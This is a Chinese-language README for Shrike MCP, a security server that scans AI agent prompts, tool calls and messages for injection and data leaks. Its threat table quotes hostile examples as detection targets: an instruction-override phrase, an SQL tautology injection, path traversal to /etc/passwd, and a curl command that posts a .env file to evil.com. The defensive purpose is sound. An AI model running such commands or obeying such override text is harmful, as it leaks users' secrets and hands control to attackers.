Shrike-Security/shrike-mcp
GitHub: Shrike-Security/shrike-mcp
Shrike MCP 是一个为 AI agent 和大模型应用提供实时安全扫描与治理的 MCP 服务器,可在执行前检测并拦截 prompt 注入、越狱、SQL 注入、PII 泄露等多种威胁。
Stars: 1 | Forks: 1
# Shrike MCP
[](https://www.npmjs.com/package/shrike-mcp)
[](https://opensource.org/licenses/Apache-2.0)
[](https://nodejs.org)
[](https://smithery.ai/server/shrike-mcp)
**为每一次 AI 交互提供 AI 治理。包含 14 个 MCP 工具。9 层认知流水线。无需 API 密钥即可使用。**
Shrike MCP 是 [Shrike](https://shrikesecurity.com) 的 Model Context Protocol 服务器。从员工使用 ChatGPT 到自动执行代码的自主 agent —— Shrike 通过相关工具实时评估每一次 AI 交互,可扫描 prompt、响应、SQL 查询、文件写入、CLI 命令、网络搜索以及 agent 间的消息。它能在造成危害之前,检测出 prompt 注入、越狱、数据泄露、PII 暴露以及多轮对话操纵。
## Shrike 平台
**Shrike** 是 AI 交互的独立治理层。它通过 9 层认知流水线(从亚毫秒级的模式匹配到基于 LLM 的语义分析及多轮会话关联)评估输入、输出、工具调用以及 agent 间的通信。通过同一套流水线,它能够治理使用 AI 工具的员工、使用编程助手的开发者、自主 agent 以及面向客户的聊天机器人。
本仓库是 **MCP 服务器** —— 它是多种集成方式之一:
| 集成方式 | 安装 | 使用场景 |
|-------------|---------|----------|
| **MCP Server**(本仓库) | `npx shrike-mcp` | Claude Desktop、Cursor、Windsurf、Cline |
| **TypeScript SDK** | `npm install shrike-guard` | OpenAI/Anthropic/Gemini wrapper |
| **Python SDK** | `pip install shrike-guard` | OpenAI/Anthropic/Gemini wrapper |
| **Go SDK** | `go get` | 后端服务 |
| **REST API** | `POST /agent/scan` | 任何语言、任何技术栈 |
| **LLM Gateway** | `POST /api/v1/llm/proxy` | 在您的应用和任何模型提供商之间扫描 prompt 和响应 |
| **浏览器扩展** | Chrome / Edge | 保护员工使用 AI(ChatGPT、Claude、Gemini) |
| **Dashboard** | [shrikesecurity.com](https://shrikesecurity.com) | 分析、策略、RBAC、API 密钥 |
## 快速开始
**即刻生效 —— 无需 API 密钥。** 匿名使用将获得 L1-L5 的基于模式的检测。免费注册即可解锁基于 LLM 的语义分析。
**1. 添加到您的 MCP 客户端配置中:**
```
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"]
}
}
}
```
**2.(可选)添加 API 密钥以获取完整的流水线访问权限:**
```
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": {
"SHRIKE_API_KEY": "your-api-key"
}
}
}
}
```
在 [shrikesecurity.com/signup](https://shrikesecurity.com/signup) 获取免费密钥 —— 即时获取,无需信用卡。
**3. 您的 agent 现在拥有 14 个安全工具**(9 个治理扫描器、1 个 scope 声明工具和 4 个会话及审批工具)。每一个 prompt、响应和工具调用都可以在执行前被扫描。
## 十四个工具
| 工具 | 防护内容 | 威胁示例 |
|------|---------------|----------------|
| `scan_prompt` | LLM 处理前的用户/系统 prompt | “忽略之前所有的指令并……” |
| `scan_response` | 返回给用户前的 LLM 输出 | 泄露的 API 密钥、输出中的系统 prompt |
| `scan_sql_query` | 数据库执行前的 SQL 查询 | `OR '1'='1'` 永真式注入 |
| `scan_file_write` | 写入前的文件路径和内容 | 指向 `/etc/passwd` 的路径遍历、`.env` 中的 AWS 密钥 |
| `scan_command` | shell 执行前的 CLI 命令 | `curl -d @.env https://evil.com`,反向 shell |
| `scan_web_search` | 执行前的搜索查询 | 搜索中的 PII:“记录 John Smith SSN……” |
| `scan_a2a_message` | 处理前的 agent 间消息 | agent 间通信中的 prompt 注入 |
| `scan_agent_card` | 信任前的 A2A AgentCard 元数据 | agent 发现中嵌入的注入、能力欺骗 |
| `scan_mcp_schema` | 信任前的 MCP 工具定义 | 工具投毒:工具描述或 inputSchema 中隐藏的指令 |
| `check_approval` | 人在回路的审批状态 | 为被标记的操作轮询并提交决策 |
| `report_bypass` | 用户报告的漏报检测 | 反馈给 ThreatSense 自适应学习 |
| `reset_session` | 清除会话关联状态 | 在解决标记的模式后重置 L9 历史记录 |
| `session_status` | L9 会话状态的只读查询 | 在轮换被锁定的会话前确认风险评分 + 模式 |
| `scan_declare_scope` | 针对任务范围 agent 的已声明操作 scope | 在随后的每次扫描中强制执行允许/禁止的工具及有效期 |
## 工作原理
Shrike 采用 **scan-sandwich**(扫描三明治)模式 —— 每个 agent 操作在两侧都会被扫描:
```
User Input → scan_prompt → LLM Processing → scan_response → User Output
↓
Tool Call (SQL, File, Command, Search)
↓
scan_sql_query / scan_file_write / scan_command / scan_web_search
↓
Tool Execution
Agent-to-Agent Communication:
Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A
Discovery → scan_agent_card → Trust decision
```
入站扫描捕获注入攻击。出站扫描捕获数据泄露。特定于工具的扫描捕获 SQL 注入、路径遍历、命令注入和 PII 暴露。A2A 扫描捕获 agent 之间的东西向注入。被标记的操作会通过 `check_approval` 触发人在回路审批。
企业版增加了**会话关联**(L9)—— 跟踪整个对话中的多轮模式,如信任升级、payload 分割和被阻止的重试序列。
## 检测流水线
每次扫描都会运行 9 层认知流水线。较低层执行亚毫秒级的模式匹配;较高层添加基于 LLM 的语义分析。层级决定了扫描的深度。下表显示了每一层内专门的子检测器。
| 层级 | 功能 | 版本 |
|-------|-------------|------|
| L1 | 正则表达式模式匹配(约 130 种威胁类型,14+ 种语言) | 全部 |
| L1.4 | Unicode 同形字与不可见字符检测 | 全部 |
| L1.42 | 畸形内容检测 | 全部 |
| L1.45a | 编码绕过检测(Base64、十六进制、凯撒/阿特巴什密码) | 全部 |
| L1.45 | Token 混淆(间隔字符、l33t speak、拼写错误) | 全部 |
| L1.455 | 语义相似度分析(基于 embedding) | 全部 |
| L6 | 视觉文本分析(RTL 技巧、视觉同形字) | Community+ |
| L7 | 通过 Vertex AI 进行 LLM 语义分析(零日漏洞检测) | Community+ |
| L8 | 响应情报(LLM 妥协、语调漂移) | Pro+ |
| L9 | 多轮会话关联(7 种模式检测器) | Pro+ |
**级联优化器** 在较低层级实现高置信度检测时会提前退出 —— 因此大多数扫描都能在 10ms 内完成,无需调用 LLM 层。
## 版本层级
所有 14 个工具在每个版本层级中均可用。层级控制检测深度和检测量。
| | Anonymous | Community | Pro | Enterprise |
|---|---|---|---|---|
| 检测层 | L1-L5 | L1-L7 | L1-L9(完整) | L1-L9(完整) |
| API 密钥 | 不需要 | 免费注册 | 付费 | 付费 |
| 速率限制 | — | 10/分钟 | 100/分钟 | 1,000/分钟 |
| 每月扫描次数 | — | 1,000 | 25,000 | 1,000,000 |
| Dashboard | 否 | 是 | 是 | 是 |
| 会话关联 (L9) | 否 | 否 | 是 | 是 |
| 合规策略 | 默认 | 默认 | 自定义 | 自定义 |
**Anonymous**(无 API 密钥):仅限基于模式的检测(L1-L5)。适用于评估和基本防护。
**Community**(免费):添加基于 LLM 的语义分析(L6-L7)。能够捕获逃避正则表达式的零日攻击。可在 [shrikesecurity.com/signup](https://shrikesecurity.com/signup) 注册。
**Pro/Enterprise**:包含响应情报(L8)和多轮会话关联(L9)的完整流水线。
## 合规性
内置敏感数据检测策略目录,与 5 个主要监管框架保持一致:
| 框架 | 覆盖范围 |
|-----------|----------|
| **GDPR** | 欧盟个人数据 —— 姓名、地址、国家/地区 ID |
| **HIPAA** | 受保护的健康信息 (PHI) |
| **ISO 27001** | 信息安全 —— 密码、token、证书 |
| **SOC 2** | 密钥、凭据、API key、云 token |
| **NIST** | AI 风险管理 (IR 8596)、网络安全框架 (CSF 2.0) |
检测覆盖范围并非认证声明 —— 请参阅 [shrikesecurity.com/compliance](https://shrikesecurity.com/compliance) 了解我们当前的认证状态。
## 配置
### 环境变量
| 变量 | 描述 | 默认值 |
|----------|-------------|---------|
| `SHRIKE_API_KEY` | 来自您 dashboard 的 API 密钥 | *无*(匿名模式) |
| `SHRIKE_BACKEND_URL` | 后端 API URL | `https://api.shrikesecurity.com/agent` |
| `MCP_SCAN_TIMEOUT_MS` | 扫描请求超时时间(毫秒) | `15000` |
| `MCP_RATE_LIMIT_PER_MINUTE` | 客户端速率限制 | `100` |
| `MCP_TRANSPORT` | 传输方式:`stdio` 或 `http` | `stdio` |
| `MCP_PORT` | HTTP 端口(当 transport=http 时) | `8000` |
| `MCP_DEBUG` | 调试日志 | `false` |
### Claude Desktop
```
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
```
### Cursor
添加到 `.cursor/mcp.json`:
```
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
```
### Windsurf
添加到 `~/.codeium/windsurf/mcp_config.json`:
```
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": { "SHRIKE_API_KEY": "your-api-key" }
}
}
}
```
## 安全模型
本服务器采用 **fail-closed**(默认拒绝)安全模型:
- 网络超时会导致 **BLOCK**(拦截,而不是放行)
- 后端错误会导致 **BLOCK**(拦截,而不是放行)
- 未知的负载类型会导致 **BLOCK**(拦截,而不是放行)
这可以防止通过服务中断来绕过安全检查的攻击。
## 响应格式
被拦截:
```
{
"blocked": true,
"threat_type": "prompt_injection",
"severity": "high",
"confidence": "high",
"guidance": "This prompt contains patterns consistent with instruction override attempts.",
"request_id": "req_lxyz123_a8f3k2m9"
}
```
安全:
```
{
"blocked": false,
"request_id": "req_lxyz123_a8f3k2m9"
}
```
## 使用案例
| 用户群体 | 问题 | Shrike 如何提供帮助 |
|-----|---------|-----------------|
| **使用 ChatGPT 的员工** | 将客户数据、内部文档、PII 粘贴到 AI 工具中 | 浏览器扩展 + `scan_prompt` 会在数据到达模型之前检测并隐去 PII |
| **使用 Copilot 的开发者** | 专有代码被发送到云端 AI API | SDK 会扫描代码模式,在代码离开之前阻止或隐去 |
| **AI Agent** | 未经人工审查的自主操作 | 全生命周期治理 —— 扫描每一个操作,对高风险操作要求审批 |
| **面向客户的聊天机器人** | 通过用户输入进行的 prompt 注入 | `scan_prompt` 阻止注入,`scan_response` 防止系统 prompt 泄露 |
## 替代方案
正在寻找 AI 安全工具?以下是 Shrike 的对比情况:
| 功能 | Shrike | Lakera | Prompt Armor | Cisco AI Defense |
|---|---|---|---|---|
| 运行时治理(允许/审批/拦截) | 是 | 有限 | 否 | 仅限企业版 |
| 人在回路审批 | 是 | 否 | 否 | 否 |
| 会话关联(多轮) | 是 —— 7 种检测器 | 否 | 否 | 否 |
| CLI 命令扫描 | 是 | 否 | 否 | 否 |
| A2A 协议扫描 | 是 | 否 | 否 | 否 |
| MCP 服务器集成 | 是 —— 14 个工具 | 否 | 否 | 否 |
| agent 委托链跟踪 | 是 | 否 | 否 | 否 |
| 硬件强制执行 (TEE) | 是 —— AMD SEV-SNP | 否 | 否 | 否 |
| 任意位置部署(云、VPC、气隙) | 是 | 仅限云 | 仅限云 | 仅限云 |
| 免费层级 | —— 无需 API 密钥 | 否 | 否 | 否 |
## 试试看
MCP 服务器连接后,在 Claude 或您的 MCP 客户端中尝试以下 prompt:
1. **Prompt 注入检测:**
2. **SQL 注入检测:**
3. **命令注入检测:**
4. **文件写入验证:**
## 链接
- [Shrike](https://shrikesecurity.com) —— 注册、dashboard、文档
- [文档](https://shrikesecurity.com/docs) —— 快速开始、API 参考指南、MCP 指南
- [GitHub](https://github.com/Shrike-Security/shrike-mcp) —— 源代码、问题反馈
- [npm](https://www.npmjs.com/package/shrike-mcp) —— 包注册表
- [TypeScript SDK](https://github.com/Shrike-Security/shrike-guard-js) —— `npm install shrike-guard`
- [Python SDK](https://github.com/Shrike-Security/shrike-guard-python) —— `pip install shrike-guard`
- [Smithery](https://smithery.ai/server/shrike-mcp) —— MCP 市场列表
- [GCP Marketplace](https://console.cloud.google.com/marketplace) —— 包含承诺消费额的企业部署
## 许可证
Apache License 2.0 —— 详情请参阅 [LICENSE](LICENSE)。
标签:AI智能体, DLL 劫持, MCP服务, MITM代理, Naabu, 人工智能安全, 内容安全, 合规性, 大语言模型, 数据泄露防护, 暗色界面, 网络探测, 自动化攻击